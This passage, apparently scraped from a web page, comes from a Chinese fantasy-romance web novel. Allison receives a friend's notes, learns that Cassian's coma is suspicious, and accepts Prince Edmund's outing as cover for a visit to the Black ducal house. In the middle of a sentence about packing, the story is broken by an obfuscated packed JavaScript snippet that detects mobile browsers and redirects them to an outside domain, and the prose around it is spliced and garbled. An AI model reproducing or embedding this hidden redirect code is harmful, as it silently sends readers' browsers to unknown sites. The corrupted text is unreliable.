艾莉森冷笑道：“男人哪怕负伤也得驻着拐杖去处理‘事务’；换成女人，便要被鲜花和诗篇熏陶着‘净化’心灵，连受伤生病也要被当作一道可供观赏的风景。” “若是丑女，谁还乐意看她生病？”凯恩打个哈哈，自认为幽默地说。 见艾莉森并不为这个不甚高明的玩笑买账，他又补充道： “平民家庭的女子，便是生病，也得带病照顾家庭和孩子，我理解你无聊，但这话说得没道理。” “凯恩，你这是在回避问题！” 凯恩却不想再在这上面纠缠，笑道：“医生说你要保持情绪稳定，我可不想为这种事和你吵起来。”他摆了摆手，并不想继续这个话题，“好了，我倒是有些让你不无聊的东西。” 他变戏法似地从怀里拿出本厚厚的“书”。 那其实是一本笔记，最常见的灰蓝色硬壳封皮，边角上有些磨损，纸张也不算上乘，但艾莉森还是一眼就认出了它。 内页的字迹娟秀又整齐，扉页上写着主人的名字： “赛琳.罗德里克”。 这是赛琳的课堂笔记，她见过无数次自己的舍友在上面奋笔疾书的样子。 “你怎么会有这个？”艾莉森微微扬眉。 凯恩想起当时的情形，不由得笑了起来，“我正从军部回来，碰巧见她在门口徘徊，仆人们不让她进，你也知道，母亲这个人……” 说到这里，他的声音透出一丝无奈。 “我问她有什么事，那姑娘便把这笔记塞给我，希望我能转交给你。” “你知道，我从来不会拒绝女士的请求，这是绅士的基本素养。” 艾莉森几乎能想象出赛琳怯生生地把东西递给凯恩的样子。 她翻开笔记本，里面是熟悉的字迹。 课程的名称和日期标注得十分清楚，用不同的标签分了类。 在赛琳最不擅长的战略课的部分，密密麻麻地写着来自不同人的讲解和补充，黑色是麦克雷准将，蓝色是维克多，橙色是弗兰克，偶尔还有她自己的想法，画了可爱的小花朵作为标志。 艾莉森翻着翻着，里面掉出一张纸条，上面写着： “艾莉森： 真是抱歉，战略课对我来说还是太难了，希望你能看明白。我过几天再把新的笔记给你送来。 代维克多和弗兰克向你问候。 祝你早日康复。 你的朋友， C.R.” 严格来说，艾莉森有自己的家庭教师，兰卡罗德家又是军人世家，不论是凯恩，还是管家雷蒙德，都能为她在学业上提供足够的帮助，这样一本充满学生气的笔记，并不能帮上太多忙。 但只是看着其中的内容，赛琳的笑脸便几乎浮现在眼前，艾莉森心里似有暖流趟过，这本笔记比任何贵重的礼物都更让她感动。 “怎么，收到这个似乎比你收到殿下的花还开心？”凯恩见她神色，不禁打趣道。 “那不一样。”艾莉森摇摇头，她思索片刻，认真地说：“我不是不喜欢花，花很美丽，殿下的心意，也让我很是感激……” “但是？” 凯恩察觉到她话语中转折的意味，问。 艾莉森沉默了。 梦里的黑巷与现实中的景象重合在一起，回想起那种被全世界抛弃的感觉，一切的一切，只是因为埃德蒙一句话。 皇权如此简单便能定人生死，轻易地决定她的结局。 艾莉森不敢把命运赌在殿下对她是否有好感——这样不可靠的理由上。 “之前，在克罗纳宫，陛下曾经对我说：‘只有美丽，是无法为帝国诞下合格的继承人的。’” 凯恩愣了愣，不觉叹了口气。 克罗纳宫容不下美丽又脆弱的花朵，也容不下太过真挚的感情。 正在这时，屋外传来了敲门声，外间的侍女轻声通报道：“小姐，凯恩少爷，医生和海蒂小姐来访。” 兄妹二人对视一眼，艾莉森忙不迭地把那本赛琳的笔记塞进枕头下面，抓起她原本在看的那本《战史》；凯恩也急忙摆正椅子，把半敞的领子理好，收拾起那副懒散的坐姿。 万一维罗妮卡跟着来，见到他们的样子，又要唠叨上半天。 凯恩朝艾莉森使了个眼色，示意她自己这边已经就绪，艾莉森这才清清嗓子，道： “请进。” 侍女推开门，进来的是兰卡罗德家的私人医生，幸好，不见公爵夫人的身影——兄妹二人都松了口气。 在白发苍苍的老医生 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“凯恩那家伙，分明是嫌我无聊。”门一关上，海蒂便不客气地评价道。“别以为我不知道，你们之前肯定在说悄悄话。” “哈、哈哈、”艾莉森干笑几声，正要分辨几句，海蒂却摆了摆手： “算了，我对你们那些感情纠葛和政治盘算不感兴趣。” 艾莉森目瞪口呆地看着她——这人到底是怎么猜到的？ “本来还不确定，”海蒂瞥了她一眼，水晶镜片泛出冷光，“不过看你现在的表情，足以说明我没有猜错。” 艾莉森做了个象征性的鼓掌动作，笑道：“真是厉害，看来在最最聪明的炼金学者海蒂.兰卡罗德院长面前，我这点小秘密是藏不住的。” “小姑娘，别学着尤里他们那套，拍马屁可不适合你。”海蒂半开玩笑地说道，随即拉了把椅子，在艾莉森床前坐下。 她眉头微蹙，打了个喷嚏：“这花也太多了——” “殿下送来的，放在外面总是不太合适。”艾莉森有些无奈。 海蒂随手掐了一朵，观察道：“难怪，这上面还有魔力波动，应该是施加了一些延长鲜花寿命的法术魔纹，殿下可真是大手笔。” “是这样吗？我和凯恩完全都没发现。” “你俩都没魔血，能发现才有鬼了。” 说罢，海蒂取出随身的魔导器，屏幕上果然显示出魔力的波动。 “不过，照现在显示的数据看来，你身上的污染已经被净化得差不多了。我听说，殿下曾经送了你具备皇血之力的匕首？” “是的，全靠它我才逃过一劫。” 海蒂摸着下巴，若有所思：“那便难怪了，你身上的污染消退得这么快，应该便是残留的力量——”她蹙起眉头，语气微顿：“但是，不对啊？” “怎么不对？” “照你说的，爆炸的时候，布莱克家的二公子将你护在身下，但在那之前，他受伤严重吗？” 艾莉森摇了摇头，回想起当时的情景，卡西恩之前对付卡洛可是相当轻松，几乎都看不到什么外伤。 “应该没有。” “也就是说，皇血匕首形成的屏障救了你们两个。” “如果是这样的话，为什么你的身体已经恢复得差不多，污染也已经清除，而原本几乎没有受伤的他，却还在昏迷？” 46. 偏移值：5.5% “你身体刚好，来克罗纳宫找我，就是希望我和你一起去探望卡西恩吗，艾莉森？” 埃德蒙王子殿下端坐于办公桌后，单手支着下巴，脸上挂着温和的笑容，看着眼前自己的未婚妻。 他的语气里并没有责备的意思，但不知怎得，艾莉森被他瞧得有些心虚。 “卡西恩直到现在都昏迷不醒，作为布莱克家现在唯一的男性继承人，公爵大人的反应，未免太过冷静，事情有些奇怪。” “所以？” “卡洛已死，布莱克公爵和诺森德尔勾结之事的线索又断了，我想，我们不应该放过任何异常……如果能够进入公爵府内，让海蒂检查一下卡西恩的身体状况……我总觉得这件事不简单。” 埃德蒙不置可否，艾莉森的声音却越来越小。 她不断告诉自己，这是纯公事，理由完全站得住脚，绝无私心。 如果是艾莉森自己要求是探望卡西恩，不管有没有海蒂同行，维罗妮卡都绝不会允许。 更何况这次事件之后，两家的关系更是形同水火，两位公爵在议会上剑拔弩张，各自指责对方教子女无方，更是不可能让她入内。 但若有埃德蒙一道，情况就完全不同了。 只是，一旦意识到王储对自己的特殊，她便有些纠结，总感觉是在利用殿下的感情似的。 “我知道，这个请求有些冒昧，但是……” “可以。” 埃德蒙打断她，同意得十分干脆。 “诶？” 艾莉森有些不敢相信埃德蒙竟然答应得这么爽快。 “我向来相信你的直觉，何况既然是皇血匕首保护了你们，卡西恩又是皇家军事学院年轻一辈中的翘楚，我去探望，也能够表达陛下的关心和重视。” “如果事情真像我们怀疑的那样，布莱克公爵才是勾结诺森德尔的罪魁，卡西恩就是我们扳倒他最重要的人证。” 埃德蒙的语气完全是公事公办的样子，艾莉森正松了口气，暗自责怪自己想太多，殿下才不是那种小肚鸡肠的男人。 但冷不防地，却听见王子殿下补上了一句： “我也很好奇他到底死透了没，免得他突然从床上爬起来跟我抢人，也好有个准备。” 艾莉森觉得自己的心脏差点要停跳了，正不知如何回答，却听见殿下轻笑一声： “开玩笑的，不用紧张。” 她只觉得全身的血液都冲到了脸上，偏偏那位始作俑者却神情如常，极其自然地转向了另一个话题，好像完全没有注意到她红透的耳朵似的： “不过，我这里倒还有另外的事情，想请兰卡罗德小姐协助。” 他说得很是郑重，像是真有什么要务，艾莉森努力让自己看上去冷静些，强自压下狂跳的心脏： “殿下请讲。” “每年夏天，我都会随陛下前往夏宫避暑。”埃德蒙紫色的眸子里盛满温柔的笑意： “不知今年，是否有幸邀请我亲爱的未婚妻同行？” 艾莉森愣住了。 每逢盛夏，陛下便会率皇室成员和近臣幕僚前往坐落于王都北部艾格文湖畔的夏宫避暑，远离王都的酷热和喧嚣，度过一段相对轻松的时光。 对于贵族们来说，能获准随行无疑是莫大的殊荣。 如果埃德蒙带她前去，无疑是向整个皇室内部圈子宣布，艾莉森作为未来王妃的地位。 她的心像被堵住了，她不知道未来“退婚”事件是否真的会发生，但不论是与卡西恩的初遇，还是赛琳遭到绑架，原作中的事件一一实现，如果未来…… 现在这份邀请，无疑是让她进退两难——她不想伤害埃德蒙，却也不愿意成为皇室婚姻的牺牲品。 拒绝才是最好的选择，不，现在就应该和埃德蒙说清楚，她并不想要成为王妃！ “殿下，我……” “殿下，和锡兰使节见面的时间到了。” 门外传来艾文的声音，艾莉森即将出口的话语缩了回去，连同她鼓足的勇气。 “时间过得真快啊。” 埃德蒙从办公桌后站起身来，低头整理自己的袖口，俊美的侧颜沐浴在午后的阳光中，一时竟让艾莉森看得有些失神。 这可是令帝国无数少女魂牵梦绕的埃德蒙.雷恩殿下，他会对自己有好感？会不会压根就是母亲和凯恩想太多了？ “这件事你不必急着答复，离夏休还有一些时日。” “不过，过几日我会让艾文安排出游踏青的事项，希望您能提前做好准备，请柬会送至兰卡罗德府上。” 艾莉森几乎立刻明白埃德蒙殿下口中的“出游”指的是什么——这正是绝佳的探视卡西恩的机会。 “多谢殿下的邀请，我衷心地期待着。” 她屈膝行礼，按照礼节恭敬地回答。 “抬起头来，艾莉森。” 她抬眸，撞上埃德蒙的目光，心中竟是一颤。 该死。 那很有可能不是错觉。 “我也很期待，兰卡罗德小姐。” 当天晚上，管家雷蒙德托着银盘，将一封烫金的请柬恭敬地递至艾莉森手上。 从前他邀请她的时候，所用都是克罗纳宫统一的鸢尾双头鹰纹章，但这一次，封蜡上却是藤蔓状的鸢尾花缠绕着他名字的首字母，属于王储殿下埃德蒙.雷恩的私人印章。 与往日艾文那端正得宛如印刷体的代笔不同，清晰而工整的字迹，连笔处偶尔飞上一笔—— 她几乎可以想象，埃德蒙用那羽毛笔蘸着墨水写字的样子。 请柬的内容不长，是邀她两日后去近郊踏青，因属私人行程，随行人员不多，皆是埃德蒙的心腹近臣。 如此安排，不论他们是要“顺便”去炼金研究院接上海蒂，还是中途想要折道拜访布莱克公爵府，都不会引人怀疑。 事实上，比起艾莉森本人，维罗妮卡夫人反倒更如临大敌。 “幸好这次母亲在你身边，你父亲完全不懂这些事！” 公爵夫人如此说。 她连夜召集了王都最好的裁缝和珠宝商，为女儿加急筹备整套行装：定制各色精致的服装和首饰，从日间长裙，骑装，便服，备用礼服，再到鞋子帽子，披肩，手套，蕾丝手帕，香水小瓶，阳伞，护肤保养用品，等等等等，若不是艾莉森坚决反对，只怕真要足足塞满八箱行李，更别提还有随行侍女的行装和私物了。 艾莉森很是头疼。 更糟糕的是—— 整理行李的工程量之巨大，加上维罗妮卡的监督，她甚至根本找不到机会偷偷把炼金魔枪塞进去！不仅如此，她还得配合进行面部和发型护理，饮食上更是要保持绝对清淡，维持身材，保证自己已最完美的状态出现在皇储殿下跟前。 凯恩回了军部，她压根没有可以求助的对象，在这样的全天候监管中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828270|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，艾莉森没有丝毫自由行动的空间，只能任由维罗妮卡摆布，更别提原本想要探查的布莱克公爵府地图，人员配置和应急撤退路线了！ 她现在非常、非常、非常崩溃，还不能在维罗妮卡眼前表现出来哪怕分毫不安。 “紧张是正常的，这毕竟是殿下第一次主动约你出去，但作为名门淑女，你要看起来毫不费力，在殿下面前，得显得从容不迫，不可以有半点失态，一切都要自然无比——” 维罗妮卡滔滔不绝，全然不知女儿压根不是为这紧张： 徒手潜入敌营，武器是五箱礼服，换做任何人都会很绝望的。 在如此荒谬的心境下，皇家马车停在了兰卡罗德家的大宅前。 维罗妮卡最后一次替艾莉森检查了服装和妆容，帮她把鬓角旁的碎发理好，很是欣慰地欣赏着自己的“杰作”： “很好，完美极了。” 艾莉森甚至不知道，苍白的到底是脸上的粉，还是自己发青的脸色。事到临头，已经没有退却的道理，只能硬着头皮，走一步算一步。 而当她撞上埃德蒙那略显惊讶的眼神时，艾莉森更有一种恨不得用脚趾挖出一个坑把自己埋进去的感觉。 “您今天也一如既往的美丽，艾莉森。” 也不知道殿下是真心实意的夸赞，还是礼仪使然，总之，艾莉森努力地让自己宛如被霜雪节的寒风刮过一样的心情显得优雅一些，强行挤出一个笑容： “多谢殿下的称赞。” 熟悉的兰卡罗德家大宅的景色终于被马车甩在身后，艾莉森才叹了口气，用一种放弃挣扎的语气说道：“殿下，想笑就笑吧。” 埃德蒙神色未变，一派从容：“您是指哪一件事？“ 他看着艾莉森的表情，决定不再逗她，笑道：“如果您是说后面的那五箱行李的话，其实这很正常，我见过不少人带的比你要夸张许多。” “我的行李也不会少，作为贵族，既然是‘出游’，带得东西太少，反而让人疑心。” “放轻松，就当作我们真的是出来玩的。” “可是……” “如果你在担心布莱克公爵府的情况，”埃德蒙一边说，一边从马车内专设的文书匣里取出一叠文件，“这里有一些资料，你可以现在看看。” 艾莉森接了过来，一页页地翻看过去，资料之详实，换做她自己，未见得能做到如此细致。 “不过，我更倾向于以‘外交手段’解决，”埃德蒙用手指点了点资料，“我们只是顺路探访，并不会做出什么不利于公爵府的事，不是吗？” 埃德蒙靠在马车椅背上，双手交叠，明明是个闲散的姿势，却有着上位者独有的威仪。 王储殿下的温柔之外，是稳操胜券的笃定。 “殿下……” “什么？” “您是不是从来不会紧张或害怕？” 埃德蒙愣了愣，过了片刻，他低声笑了起来：“我不是你想的那样，艾莉森。在我的人生中，也有怕得不得了的时候。” “譬如？” 埃德蒙看着她，阳光透过窗户，将道路两侧的梧桐在他脸上投下忽明忽暗的影子，他的神色黯了黯，正要开口回答—— 马车停了下来。 “殿下，我们已抵达炼金研究院。”门外侍从的声音传来，打断了二人的谈话。 直到很久以后，艾莉森才知道那个问题的答案。